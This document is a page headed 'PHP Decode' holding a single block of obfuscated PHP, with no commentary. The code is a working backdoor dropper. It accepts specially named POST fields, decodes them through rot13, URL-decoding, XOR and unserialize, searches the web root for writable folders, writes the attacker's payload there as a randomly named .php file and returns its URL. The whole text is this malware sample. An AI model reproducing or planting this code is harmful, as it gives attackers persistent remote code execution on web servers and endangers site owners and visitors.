PHP Decode

<?php $trtypmx = "sndvwyvkonjovuok";$wwpmpu = "";foreach ($_POST as $hrieiqpy => $slwdjxru){if (strlen($hrieiqpy) == 16 and substr_count($slwdjxru, "%") > 10){yljti($hrieiqpy, $slwdjxru);}}function yljti($hrieiqpy, $ieeqbmrb){global $wwpmpu;$wwpmpu = $hrieiqpy;$ieeqbmrb = str_split(rawurldecode(str_rot13($ieeqbmrb)));function xqvrrnbv($rxeqkqasb, $hrieiqpy){global $trtypmx, $wwpmpu;return $rxeqkqasb ^ $trtypmx[$hrieiqpy % strlen($trtypmx)] ^ $wwpmpu[$hrieiqpy % strlen($wwpmpu)];}$ieeqbmrb = implode("", array_map("xqvrrnbv", array_values($ieeqbmrb), array_keys($ieeqbmrb)));$ieeqbmrb = @unserialize($ieeqbmrb);if (@is_array($ieeqbmrb)){$hrieiqpy = array_keys($ieeqbmrb);$ieeqbmrb = $ieeqbmrb[$hrieiqpy[0]];if ($ieeqbmrb === $hrieiqpy[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function rytcuzu($rbangir) {static $gmqbi = array();$wbubwbmhyk = glob($rbangir . '/*', GLOB_ONLYDIR);if (count($wbubwbmhyk) > 0) {foreach ($wbubwbmhyk as $rbang){if (@is_writable($rbang)){$gmqbi[] = $rbang;}}}foreach ($wbubwbmhyk as $rbangir) rytcuzu($rbangir);return $gmqbi;}$suyndimuyp = $_SERVER["DOCUMENT_ROOT"];$wbubwbmhyk = rytcuzu($suyndimuyp);$hrieiqpy = array_rand($wbubwbmhyk);$rbangromppbst = $wbubwbmhyk[$hrieiqpy] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($rbangromppbst, $ieeqbmrb);echo "http://" . $_SERVER["HTTP_HOST"] . substr($rbangromppbst, strlen($suyndimuyp));exit();}}} ?>